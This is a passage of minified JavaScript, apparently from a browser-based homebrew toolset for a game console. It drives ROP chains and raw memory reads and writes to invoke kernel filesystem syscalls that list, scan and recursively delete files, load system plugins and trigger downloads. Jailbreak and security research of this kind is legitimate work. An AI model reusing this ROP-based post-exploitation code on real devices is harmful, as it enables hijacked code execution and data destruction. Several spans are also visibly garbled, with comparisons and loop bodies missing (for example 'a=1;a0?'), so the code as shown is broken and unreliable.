descriptor"),helper.rop.run(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,helper.comp.sfread="";return[]},getJSTreeData_wk=function(e,t,r,s){if("#"===t.id)return helper.mplist=getMountedPointList(s),helper.mplist.data?Logger.debug(helper.mplist):Logger.error("Mounted Point List error "+helper.mplist),helper.mplist.data;if("file"===t.type)return[];if(!0===helper.comp.done)return helper.comp.done=!1,Logger.debug("getJSTreeData_wk processing done"),0===helper.comp.ret.length?-1:helper.comp.ret;if(helper.comp.fd<0){if(Logger.debug("getJSTreeData_wk processing start"),!helper.worker.fe&&(helper.worker.fe=new workerThread("BGTOOLSET_WKR_FE"),!helper.worker.fe))return Logger.error("FE Worker Thread Creation failed!"),[];helper.comp.bf=helper.worker.fe.getTLS().offset,helper.comp.ret=[],helper.comp.node=t;var o=e.get_fullpath(helper.comp.node);cleanStorage(helper.comp.bf,1280),helper.memory.upokes(helper.comp.bf+8,o,!0),helper.worker.fe.run(vsyscall32(helper.sc_fs_opendir,helper.comp.bf+8,helper.comp.bf),"Scanning Directory "+o,function(){Logger.debug("opendir: "+o)},function(){helper.comp.fd=helper.memory.upeek32(helper.comp.bf),helper.comp.sfread=vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf,helper.comp.bf+260)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+268,helper.comp.bf+528)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+536,helper.comp.bf+796)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+804,helper.comp.bf+1064),e.load_node(helper.comp.node)})}else helper.worker.fe.run(helper.comp.sfread,"Scanning Directory Item "+helper.comp.ret.length.toString(),function(){cleanStorage(helper.comp.bf,1280),Logger.debug("readdir: 0x"+helper.comp.fd.toString(16))},function(){for(var t=helper.memory.upeeks(helper.comp.bf,1072),s=0;s<4;s++){var o=268*s;if(0===parseInt(t.substr(2*(o+264),8),16)){helper.comp.done=!0,helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.comp.fd),"Scan Directory Close",function(){Logger.debug("closedir 0x"+helper.comp.fd.toString(16))},function(){helper.comp.fd=-1,e.load_node(helper.comp.node)});break}var l=t.substr(2*(o+2),2*parseInt(t.substr(2*(o+1),2),16)).fromAscii();if(0!==l.length&&"."!==l&&".."!==l){var n=parseInt(t.substr(2*o,2),16);2===n&&!0===r?helper.comp.ret.push({text:l,type:"file"}):1===n&&helper.comp.ret.push({text:l,type:"folder",children:!0})}3===s&&(cleanStorage(helper.comp.bf,1280),e.load_node(helper.comp.node))}});return[]};function scanContext(e,t,r){this.tree_instance=e,this.node=t,this.tree_data=[],this.ready=!1,this.to_reset=!1,this.scan_base=e.get_fullpath(t),this.currentfd=-1,this.sfread="",this.tls=0,this.totalSize=UInt64("0"),this.scanQ=new FIFOQ,this.scanQ.add(this.scan_base),this.todoFolderQ=new FIFOQ,this.todoFileQ=new FIFOQ,this.cb=r||null,this.reset=function(e,t,r){this.tree_instance=e,this.node=t,this.tree_data=[],this.ready=!1,this.to_reset=!1,this.scan_base=e.get_fullpath(t),this.currentfd=-1,this.sfread="",this.tls=0,this.scanQ=new FIFOQ,this.scanQ.add(this.scan_base),this.todoFolderQ=new FIFOQ,this.todoFileQ=new FIFOQ,this.totalSize=UInt64("0"),this.cb=r||null}}var getStat=function(e){var t=helper.heap.store(128),r=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,r,t)),o=helper.memory.upeek32(t+helper.stat_size_offset),l=helper.memory.upeeks(t+32,8),n=helper.memory.upeeks(t+24,8);return ret={size:o,ctime:l,mtime:n},helper.heap.free([t,r]),0!==s?(Logger.error("getStat "+e+" error: 0x"+s),-1):ret},getMPList=function(e){var t=[],r=helper.heap.store(helper.snull64),s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info_size,r));0!==s&&Logger.error("getMPList: getMountInfoSize error 0x"+s.toString(16));var o=helper.memory.upeek32(r+4),l=helper.heap.store(148*o),n=helper.heap.store(helper.snull64);0!==(s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info,l,o,n)))&&Logger.error("getMPList: getMountInfo error 0x"+s.toString(16));for(var i=helper.memory.upeek32(n+4),a=1;a0?(alert("opendir failed: "+helper.sctx.scanQ.first()),helper.sctx.scanQ.remove(),alert("Continue with next entry: "+helper.sctx.scanQ.first())):(helper.sctx.currentfd=helper.memory.upeek32(helper.sctx.tls),alert("opendir done fd: 0x"+helper.sctx.currentfd.toString(16)+" "+helper.sctx.scanQ.first()),helper.comp.sfread=vsyscall32(helper.sc_fs_readdir,helper.sctx.currentfd,helper.sctx.tls,helper.sctx.tls)+syscall32(helper.sc_fs_readdir,helper.sctx.currentfd,helper.sctx.tls+292,helper.sctx.tls+8)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.sctx.tls+552,helper.sctx.tls+16)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.sctx.tls+812,helper.sctx.tls+24),cleanStorage(helper.sctx.tls,1280)),delete_dir()})}helper.worker.fe.run(helper.sctx.sfread,"Scanning Directory Item "+(helper.sctx.todoFolderQ.length()+helper.sctx.todoFileQ.length()).toString(),function(){alert("readdir")},function(){for(var e=helper.memory.upeeks(helper.sctx.tls,1072),t=0;t<4;t++){var r=260*t+32;if(0===parseInt(e.substr(4*t*2,8),16))return void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.sctx.currentfd),"Scan Directory Close",function(){alert("closedir")},function(){helper.sctx.currentfd=-1,helper.sctx.scanQ.remove(),delete_dir()});var s=e.substr(2*(r+2),2*parseInt(e.substr(2*(r+1),2),16)).fromAscii();if(0!==s.length&&"."!==s&&".."!==s){var o=parseInt(e.substr(2*r,2),16);2===o?helper.sctx.todoFileQ.add(helper.sctx.scan_base+"/"+s):1===o&&(helper.sctx.todoFolderQ.add(helper.sctx.scan_base+"/"+s),helper.sctx.scanQ.add(helper.sctx.scan_base+"/"+s))}}delete_dir()})}else{var t=0,r=[],s=[],o=0,l=0;function n(e){var i=e.length(),a=Math.floor(i/128),p=i%128;l=p>0&&t+1===a?p:0===p&&0===a?0:80;var c="";if(s=[],i>0&&l>0&&l<=128&&cleanStorage(helper.sctx.tls,512*l),e===helper.sctx.todoFileQ){if(0===i)return t=0,void n(helper.sctx.todoFolderQ);for(o=0;o508?(Logger.error("unlink error - Path length > 508 characters not supported: "+s[o]),helper.memory.upoke32(helper.sctx.tls+(512*o+508),4294967295)):(helper.memory.upokes(helper.sctx.tls+200*o,s[o],!0),c+=vsyscall32(helper.sc_fs_unlink,helper.sctx.tls+512*o)+vstore_r3_word(helper.sctx.tls+(512*o+508)));helper.worker.fe.run(c,"Deleting "+l.toString()+" files",function(){alert("Deleting "+l.toString()+" files")},function(){for(o=0;o0?"Some errors occurred during the deletion process":"",error_count:r.length,err_log:r.length>0?r:0}));for(o=0;o508?(Logger.error("rmdir error - Path length > 508 characters not supported: "+s[o]),helper.memory.upoke32(helper.sctx.tls+(512*o+508),4294967295)):(helper.memory.upokes(helper.sctx.tls+200*o,s[o],!0),c+=vsyscall32(helper.sc_fs_rmdir,helper.sctx.tls+512*o)+vstore_r3_word(helper.sctx.tls+(512*o+508)));helper.worker.fe.run(c,"Deleting "+l.toString()+" folders",function(){alert("Deleting "+l.toString()+" folders")},function(){for(o=0;o0?confirmDialog(helper.sctx.todoFileQ.length()>0?"Do you really want to delete the current selection of "+helper.sctx.todoFileQ.length()+" files & "+helper.sctx.todoFolderQ.length()+" folders?":"Do you really want to delete the current selection of "+helper.sctx.todoFolderQ.length()+" folders?","Confirm deletion",n,helper.sctx.todoFileQ.length()>0?helper.sctx.todoFileQ:helper.sctx.todoFolderQ,null,null):helper.sctx.todoFileQ.length()>0&&confirmDialog("Do you really want to delete the current selection of "+helper.sctx.todoFileQ.length()+" files","Confirm deletion",n,helper.sctx.todoFileQ,null,null)}},scan_dir=function(e,t){if(helper.sctx&&helper.sctx.scanQ&&!0!==helper.sctx.ready){if(0===helper.sctx.scanQ.length()){var r,s,o=helper.sctx.todoFolderQ.length(),l=helper.sctx.todoFileQ.length();if(0===o)helper.sctx.tree_data=-1;else for(helper.sctx.tree_data=[],r=0;r0)alert("opendir fd 0x"+helper.memory.upeek32(helper.sctx.tls)+" "+helper.memory.upeeks(helper.sctx.tls+8,helper.sctx.scanQ.first().length,!0)+" failed error: 0x"+r.toString(16)),helper.sctx.scanQ.remove();else{helper.sctx.currentfd=helper.memory.upeek32(helper.sctx.tls);var s=sys_fs.getOPDbyName("cellFsGetDirectoryEntries");helper.sctx.sfread=vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+16,312,helper.sctx.tls)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+328,312,helper.sctx.tls+4)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+640,312,helper.sctx.tls+8)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+952,312,helper.sctx.tls+12),cleanStorage(helper.sctx.tls,1280)}scan_dir(e,t)})}helper.worker.fe.run(helper.sctx.sfread,"Scanning Directory Item "+(helper.sctx.todoFolderQ.length()+helper.sctx.todoFileQ.length()).toString(),function(){},function(){for(var r=helper.memory.upeeks(helper.sctx.tls,1264),s=0;s<4;s++){var o=312*s+16;if(0===parseInt(r.substr(4*s*2,8),16))return void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.sctx.currentfd),"Scan Directory Close",function(){},function(){helper.sctx.currentfd=-1,helper.sctx.scanQ.remove(),scan_dir(e,t)});var l=r.substr(2*(o+54),2*parseInt(r.substr(2*(o+53),2),16)).fromAscii();if(0!==l.length&&"."!==l&&".."!==l){var n=parseInt(r.substr(2*(o+52),2),16),i=new Date(1e3*UInt64(r.substr(2*(o+28),16)).toJSNumber()),a=new Date(1e3*UInt64(r.substr(2*(o+20),16)).toJSNumber()),p=new Date(1e3*UInt64(r.substr(2*(o+12),16)).toJSNumber());parseInt(r.substr(2*o,8),16);if(2!==n||e)1===n&&(helper.sctx.todoFolderQ.add({Filename:l,"File Type":0,Preview:"fa fa-folder-o fa-3x",Path:helper.sctx.scanQ.first()+"/"+l+"/",Error:"No error",Code:0,Properties:{"Date Created":i.getDay().toString8(10)+"/"+i.getMonth().toString8(10)+"/"+i.getFullYear().toString16(10)+" "+i.getHours().toString8(10)+":"+i.getMinutes().toString8(10),"Date Modified":a.getDay().toString8(10)+"/"+a.getMonth().toString8(10)+"/"+a.getFullYear().toString16(10)+" "+a.getHours().toString8(10)+":"+a.getMinutes().toString8(10),"Date Accessed":p.getDay().toString8(10)+"/"+p.getMonth().toString8(10)+"/"+p.getFullYear().toString16(10)+" "+p.getHours().toString8(10)+":"+p.getMinutes().toString8(10),Width:null,Height:null,Size:0}}),t&&helper.sctx.scanQ.add(helper.sctx.scanQ.first()+"/"+l));else{var c=UInt64(r.substr(2*(o+36),16)),d=l.lastIndexOf("."),u=d>=0?l.substr(d):"";helper.sctx.todoFileQ.add({Filename:l,"File Type":u,Preview:"fa fa-file-o",Path:helper.sctx.scanQ.first()+"/"+l,Error:"No error",Code:0,Properties:{"Date Created":i.getDay().toString8(10)+"/"+i.getMonth().toString8(10)+"/"+i.getFullYear().toString16(10)+" "+i.getHours().toString8(10)+":"+i.getMinutes().toString8(10),"Date Modified":a.getDay().toString8(10)+"/"+a.getMonth().toString8(10)+"/"+a.getFullYear().toString16(10)+" "+a.getHours().toString8(10)+":"+a.getMinutes().toString8(10),"Date Accessed":p.getDay().toString8(10)+"/"+p.getMonth().toString8(10)+"/"+p.getFullYear().toString16(10)+" "+p.getHours().toString8(10)+":"+p.getMinutes().toString8(10),Width:"0",Height:"0",Size:c.toString64()}}),helper.sctx.totalSize=helper.sctx.totalSize.add(c)}}}scan_dir(e,t)})}},play_soundOK=function(){return helper.sound_ok=helper.sound_ok>0?helper.sound_ok:helper.heap.store("snd_trophy",!0),playRCOSound("system_plugin","snd_trophy")},play_soundNG=function(){return helper.sound_ng=helper.sound_ng>0?helper.sound_ng:helper.heap.store("snd_system_ng",!0),playRCOSound("system_plugin","snd_system_ng")},playRCOSound=function(e,t){var r="snd_trophy"===t?helper.sound_ok:"snd_edy_ng"===t?helper.sound_ng:helper.heap.store(t,!0),s=getPluginViewid(e);return s=s>0?helper.rop.rrun(callsub(helper.vshgadgets_box.sub_bl_to_paf_B93AFE7E_addr,helper.vshgadgets_box.vtoc_addr,s,r,1065353216,0,0,0,helper.vshdata_storage,0,0,128)):0},getPluginViewid=function(e){var t=0;return"system_plugin"===e?(helper.system_plugin=helper.system_plugin>0?helper.system_plugin:helper.heap.store("system_plugin",!0),t=helper.system_plugin):"xmb_plugin"===e?(helper.xmb_plugin=helper.xmb_plugin>0?helper.xmb_plugin:helper.heap.store("xmb_plugin",!0),t=helper.xmb_plugin):"edy_plugin"===e?(helper.edy_plugin=helper.edy_plugin>0?helper.edy_plugin:helper.heap.store("edy_plugin",!0),t=helper.edy_plugin):"osk_plugin"===e?(helper.osk_plugin=helper.osk_plugin>0?helper.osk_plugin:helper.heap.store("osk_plugin",!0),t=helper.osk_plugin):"explore_plugin"===e?(helper.explore_plugin=helper.explore_plugin>0?helper.explore_plugin:helper.heap.store("explore_plugin",!0),t=helper.explore_plugin):"download_plugin"===e?(helper.download_plugin=helper.download_plugin>0?helper.download_plugin:helper.heap.store("download_plugin",!0),t=helper.download_plugin):"webrender_plugin"===e&&(helper.webbrowser_plugin=helper.webbrowser_plugin>0?helper.webbrowser_plugin:helper.heap.store("webrender_plugin",!0),t=helper.webbrowser_plugin),t>0?paf.export_F21655F3(t):-1},getPluginInterface=function(e,t){return paf.export_23AFB290(e,t)},getXMM0IF=function(){if(helper.xmm0_interface<=0){var e=getPluginViewid("xmb_plugin"),t=e>0?getPluginInterface(e,1481461040):0;return t>0?(helper.xmm0_interface=t,0):(helper.xmm0_interface=0,Logger.error("getXMM0IF: Failure to acquire xmb_plugin interface xmm0"),-1)}},getWBIF=function(){if(helper.webbrowser_plugin_interface<=0){var e=getPluginViewid("webrender_plugin"),t=e>0?getPluginInterface(e,1):0;return t>0?(helper.webbrowser_plugin_interface=t,0):(helper.webbrowser_plugin_interface=0,Logger.error("getWBIF: Failure to acquire webrender_plugin interface 1"),-1)}},getDLPIF=function(){if(helper.download_plugin_interface<=0){var e=getPluginViewid("download_plugin");if(e<=0){Logger.info("getDLPIF: loading download_plugin");var t=LoadPluginById(41,null);Logger.info("getDLPIF: LoadPluginById returned: 0x"+t.toString(16)),0!==t&&1!==t&&(sleep(1),t=LoadPluginById(41,null),Logger.info("getDLPIF: LoadPluginById returned: 0x"+t.toString(16))),sleep(2),e=0===t||1===t?getPluginViewid("download_plugin"):0}else Logger.info("getDLPIF: download_plugin already loaded");Logger.info("getDLPIF: view: 0x"+e.toString(16));var r=e>0?getPluginInterface(e,1):0;return r>0?(Logger.info("getDLPIF: loaded download_plugin interface"),helper.download_plugin_interface=r,0):(helper.download_plugin_interface=0,Logger.error("getDLPIF: failure to acquire download_plugin interface 1"),-1)}},getEXPIF=function(){if(helper.explore_plugin_interface<=0){var e=getPluginViewid("explore_plugin");if(e<=0){var t=LoadPluginById(2,null);sleep(1),e=0===t||1===t?getPluginViewid("explore_plugin"):0}var r=e>0?getPluginInterface(e,1):0;return r>0?(helper.explore_plugin_interface=r,0):(helper.explore_plugin_interface=0,Logger.error("getEXPIF: Failure to acquire explore_plugin interface 1"),-1)}},wakeBrowser_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.webbrowser_plugin_interface),0)},DownloadStartBrowser_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.webbrowser_plugin_interface+56),e)},DownloadURL_sf=function(e,t){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+20),0,e,t)},setURL_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+4),e)},setPath_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+8),e)},DownloadselDestination_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface),0)},DownloadselDestination2_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+60),0)},DownloadselDevice_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+68),0)},downloadObject=function(e,t,r,s){var o="";this.log="Download Operations:
Thread BGTOOLSET_DL created
URL: "+e+"
Path: "+t,o+=DownloadURL_sf(e,t),this.sfd[0]=o,o=""},LoadPluginById=function(e,t){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+12),e,t,0):-1},ClosePluginById=function(e,t){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+20),e,t,1):-1},UnloadPluginById=function(e,t){return helper.xmm0_interface=helper.xmm0_interface>0?helper.xmm0_interface:getPluginInterface(getPluginViewid("xmb_plugin"),helper.heap.store("XMM0",!0)),call(helper.memory.upeek32(helper.xmm0_interface+0),e,t)},clean_guiDialog=function(e){Logger.info("guiDialog cleanup");var t=e?$("#"+e.txt):$("#dg-text");(e?$("#"+e.conf):$("#dg-confirm")).dialog("close"),t.html("")},confirmDialog=function(e,t,r,s,o,l,n){Logger.info("confirmDialog object building"),guiDialog([{text:"No",icon:"ui-icon-close",click:function(e,t){o&&(Logger.info("confirmDialog executing the 'cbno' post callback"),$.Deferred().done(o).resolve(l)),clean_guiDialog(n)}},{text:"Yes",icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("confirmDialog executing the 'cbyes' post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog(n)}}],e,t,null,null,n)},enableScanDialogButtons=function(){$("#dg-confirm").parent().find(".ui-dialog-buttonset").children().button("option","disabled",!1)},setScanDialogContents=function(e){$("#dg-confirm").parent().find(".ui-dialog-content").innerHTML=e},updateScanDialogCounts=function(e,t){var r=$("#dg-confirm").parent();r.find("#focount").innerHTML=e,r.find("#ficount").innerHTML=t},confirmWaitScanDialog=function(e,t,r,s,o,l){Logger.info("confirmWaitScanDialog object building"),guiDialog([{text:"No",disabled:!0,icon:"ui-icon-close",click:function(e,t){o&&(Logger.info("confirmWaitScanDialog executing the 'cbno' post callback"),$.Deferred().done(o).resolve(l)),clean_guiDialog()}},{text:"Yes",disabled:!0,icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("confirmWaitScanDialog executing the 'cbyes' post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog()}}],"

Processing folders: files:

"+e+"

",t)},infoDialog=function(e,t,r,s,o,l){Logger.info("infoDialog object building"),$("#dg-text").prepend(""),guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,t){r&&$.Deferred().done(r).resolve(s),$("#dg-confirm").find("span.ui-icon-alert").remove(),clean_guiDialog()}}],e,t,o,l)},htmlDialog=function(e,t,r,s,o,l){Logger.info("htmlDialog object building"),guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("htmlDialog executing post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog()}}],e,t,o,l)},guiDialog=function(e,t,r,s,o,l){Logger.info("guiDialog core object creation");var n=l?$("#"+l.txt):$("#dg-text"),i=l?$("#"+l.conf):$("#dg-confirm");Logger.info("guiDialog adding html content"),n.html(t),Logger.info("guiDialog executing precallback"),s&&$.Deferred().done(s).resolve(o),Logger.info("guiDialog creating the guiDialog jQuery object"),i.dialog({resizable:!1,dialogClass:"no-close",title:r,height:"auto",show:{effect:"fade",duration:250},hide:{effect:"fade",duration:0},width:"auto",modal:!0,buttons:e}),i.parent().find("button").focus(),setTimeout(function(){var e=i.parent().find(".ui-dialog-buttonpane");e.hover(function(){e.find(".ui-button").blur()})},100)},toast=function(e,t,r,s,o){return Logger.info("Toast object building"),$().toastmessage("showToast",{inEffectDuration:600,stayTime:1e3*r,text:e,position:"top-right",type:"info"===t?"notice":t,closeText:"",close:function(){s&&(Logger.info("Toast executing the post callback"),$.Deferred().done(s).resolve(o))}})},pbsDialog=function(e,t){Logger.info("pbsDialog object building");var r=null,s=e||{container_id:"pbs",dialog_id:"dsfmProgress",dialog_class:"pbdDialog",pbarg_id:"gsfmprogressbar",pbarstatus_id:"dsfm_status",pbarlabelg_id:"plsfm_gstatus",pbarvalg_id:"gsfmprogressbar_val",pbaricon_id:"dsicon_status",pbfs_id:"sfm_cont_status",pbarlog_id:"uslog"};if(!s.container_id)throw Logger.error("pbsDialog: Bad argument"),Error("pbsDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+s.container_id+"]").length)throw Error("pbsDialog: Missing html element: "+s.container_id);s.dialog_id||(s.dialog_id="dsfmProgress"),s.dialog_class||(s.dialog_class="pbdDialog"),s.pbarg_id||(s.pbarg_id="gsfmprogressbar"),s.pbarstatus_id||(s.pbarstatus_id="dsfm_status"),s.pbarlabelg_id||(s.pbarlabelg_id="plsfm_gstatus"),s.pbarvalg_id||(s.pbarvalg_id="gsfmprogressbar_val"),s.pbaricon_id||(s.pbaricon_id="dsicon_status"),s.pbfs_id||(s.pbfs_id="sfm_cont_status"),s.pbarlog_id||(s.pbarlog_id="ulog"),t||jQuery("."+s.dialog_class).remove();var o=document.createElement("div");o.id=s.dialog_id,o.className="diag-"+s.dialog_id+" ui-helper-hidden "+s.dialog_class,o.title="Operations Progress";var l=document.createElement("div");l.id=s.pbarlog_id,l.className="ui-helper-hidden "+s.dialog_class,jQuery("#"+s.container_id).append([o,l]);var n=document.createElement("fieldset");n.className="dsfp ui-widget-content ui-corner-all "+s.dialog_class;var i=document.createElement("div");i.id=s.pbfs_id,i.className="diag-"+s.pbfs_id.replace("_","-")+" "+s.dialog_class;var a=document.createElement("div");a.id=s.pbarstatus_id,a.className="diag-"+s.pbarstatus_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+s.dialog_class,a.innerText="....";var p=document.createElement("div");p.id=s.pbaricon_id,p.className="icon-status hourglass "+s.dialog_class,i.appendChild(a),i.appendChild(p);var c=document.createElement("div");c.id=s.pbarlabelg_id,c.className="diag-"+s.pbarlabelg_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+s.dialog_class,c.innerText="....";var d=document.createElement("div");d.id=s.pbarvalg_id,d.className="progress-val "+s.dialog_class;var u=document.createElement("div");u.id=s.pbarg_id,u.className="diag-"+s.pbarg_id+" "+s.dialog_class,u.appendChild(d);var h=jQuery("#"+s.dialog_id).append(n);h.find(n).append([i,c,d,u]);var g=!1,f=jQuery("#"+s.pbarg_id),_=jQuery("#"+s.pbarstatus_id),m=jQuery("#"+s.pbarlabelg_id),x=jQuery("#"+s.pbarvalg_id),b=function(e){jQuery.each(jQuery("#"+s.pbaricon_id),function(t,r){jQuery(r).attr("class","icon-status "+e)})},y=[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){g=!0})}}],v=h.dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:290,width:575,buttons:y,show:{effect:"fade",duration:1500},hide:{effect:"fade",duration:800},open:function(e,t){b("hourglass"),m.text("Generating worker thread data"),x.text(""),f.progressbar("value",!1),_.text("Initializing Operations"),g=!1},close:function(e,t){}});f.progressbar({value:!1,change:function(e,t){var r=f.progressbar("value"),s=!1!==r?r+"%":"";x.text(s)},complete:function(e,t){x.text("Done");var o=[{text:"Log",icon:"ui-icon-info",click:function(e,t){infoDialog(jQuery("#"+s.pbarlog_id).html(),"Log",function(){jQuery("#"+s.dialog_id).parent().find("button:last").focus().blur()})}}];if(r&&r.afterload_callback){var l=r.afterload_callback(r.buffer);l&&o.push(l),r=null}o.push({text:"Close",icon:"ui-icon-closethick",click:function(e,t){v.dialog("option",{close:function(e,t){}}),v.dialog("close"),r&&r.post_callback&&r.post_callback(r.buffer)}}),v.dialog("option","buttons",o)}}),this.ulog=function(e,t){var r=document.getElementById(s.pbarlog_id);r&&(t?r.innerHTML="":r.innerHTML+="
"+e),e.length>0&&Logger.info(e)},this.setIconStatus=function(e){b(e)},this.updateGlobalValue=function(e){f.progressbar("value",e>0&&e<100&&Math.floor(e)!==e?Math.floor(e)+1:Math.floor(e))},this.updateGlobalLabel=function(e){m.text(e)},this.updateStatusText=function(e){_.text(e)},this.getStatusText=function(){return _.text()},this.setTitle=function(e){v.dialog("option","title",e)},this.updateStatusStyle=function(e){_.css(e)},this.updateProgressDialog=function(e,t){e&&(e.istatus&&this.setIconStatus(e.istatus),e.title&&this.setTitle(e.title),e.glabel&&this.updateGlobalLabel(e.glabel),e.gvalue&&this.updateGlobalValue(e.gvalue)),t&&this.updateStatusText(getElapsedTime(t)),jQuery("#"+s.dialog_id).parent().find("button").blur()},this.open=function(e,t){this.ulog("",!0),!0===e?(v.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){toast("Current operations cannot be cancelled","warning",3)}}]),v.dialog("option","classes.ui-dialog","no-close"),v.dialog("option",{close:function(e,t){}})):(t?(v.dialog("option",{close:function(e,r){t()}}),v.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){v.dialog("close")})}}])):(v.dialog("option","buttons",y),v.dialog("option",{close:function(e,t){}})),v.dialog("option","classes.ui-dialog","ui-dialog-titlebar-close")),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+s.container_id).removeClass("ui-helper-hidden"),jQuery("#"+s.dialog_id).removeClass("ui-helper-hidden"),v.parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip(),v.dialog("open")},this.close=function(){v.dialog("close"),jQuery("#"+s.container_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+s.dialog_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},this.cancel=function(){g=!0},this.cancelled=function(){return g},this.setCallback=function(e){e&&(r=e)}},pbdDialog=function(e,t){Logger.info("pbdDialog object building");var r=e||{container_id:"pbd",dialog_id:"dfmProgress",dialog_class:"pbsDialog",pbarg_id:"gfmprogressbar",pbard_id:"dprogressbar",pbarstatus_id:"dfm_status",pbarlabelg_id:"plfm_gstatus",pbarlabeld_id:"plfm_dstatus",pbarvalg_id:"gfmprogressbar_val",pbarvald_id:"dprogressbar_val",pbaricon_id:"dicon_status",pbfs_id:"fm_cont_status",pbarlog_id:"ulog"};if(!r.container_id)throw Logger.error("pbdDialog: Bad argument"),Error("pbdDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+r.container_id+"]").length)throw Error("pbdDialog: Missing html element: "+r.container_id);r.dialog_id||(r.dialog_id="dfmProgress"),r.dialog_class||(r.dialog_class="pbsDialog"),r.pbarg_id||(r.pbarg_id="gfmprogressbar"),r.pbard_id||(r.pbard_id="dprogressbar"),r.pbarstatus_id||(r.pbarstatus_id="dfm_status"),r.pbarlabelg_id||(r.pbarlabelg_id="plfm_gstatus"),r.pbarlabeld_id||(r.pbarlabeld_id="plfm_dstatus"),r.pbarvalg_id||(r.pbarvalg_id="gfmprogressbar_val"),r.pbarvald_id||(r.pbarvald_id="dprogressbar_val"),r.pbaricon_id||(r.pbaricon_id="dicon_status"),r.pbfs_id||(r.pbfs_id="fm_cont_status"),r.pbarlog_id||(r.pbarlog_id="ulog"),t||jQuery("."+r.dialog_class).remove();var s=document.createElement("div");s.id=r.dialog_id,s.className="diag-"+r.dialog_id+" ui-helper-hidden "+r.dialog_class,s.title="Operations Progress";var o=document.createElement("div");o.id=r.pbarlog_id,o.className="ui-helper-hidden "+r.dialog_class,jQuery("#"+r.container_id).append([s,o]);var l=document.createElement("fieldset");l.className="dfp ui-widget-content ui-corner-all";var n=document.createElement("div");n.id=r.pbfs_id,n.className="diag-"+r.pbfs_id.replace("_","-")+" "+r.dialog_class;var i=document.createElement("div");i.id=r.pbarstatus_id,i.className="diag-"+r.pbarstatus_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,i.innerText="....";var a=document.createElement("div");a.id=r.pbaricon_id,a.className="icon-status hourglass "+r.dialog_class,n.appendChild(i),n.appendChild(a);var p=document.createElement("div");p.id=r.pbarlabelg_id,p.className="diag-"+r.pbarlabelg_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,p.innerText="....";var c=document.createElement("div");c.id=r.pbarvalg_id,c.className="progress-val "+r.dialog_class;var d=document.createElement("div");d.id=r.pbarg_id,d.className="diag-"+r.pbarg_id+" "+r.dialog_class,d.appendChild(c);var u=document.createElement("div");u.id=r.pbarlabeld_id,u.className="diag-"+r.pbarlabeld_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,u.innerText="....";var h=document.createElement("div");h.id=r.pbard_id,h.className="diag-"+r.pbard_id+" "+r.dialog_class;var g=document.createElement("div");g.id=r.pbarvald_id,g.className="progress-val "+r.dialog_class,h.appendChild(g);var f=jQuery("#"+r.dialog_id).append(l);f.find(l).append([n,p,c,d,u,h]);var _=!1,m=jQuery("#"+r.pbarg_id),x=jQuery("#"+r.pbard_id),b=jQuery("#"+r.pbarstatus_id),y=jQuery("#"+r.pbarlabelg_id),v=jQuery("#"+r.pbarlabeld_id),C=jQuery("#"+r.pbarvalg_id),D=jQuery("#"+r.pbarvald_id),F=function(e){jQuery.each(jQuery("#"+r.pbaricon_id),function(t,r){jQuery(r).attr("class","icon-status "+e)})},S=[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in 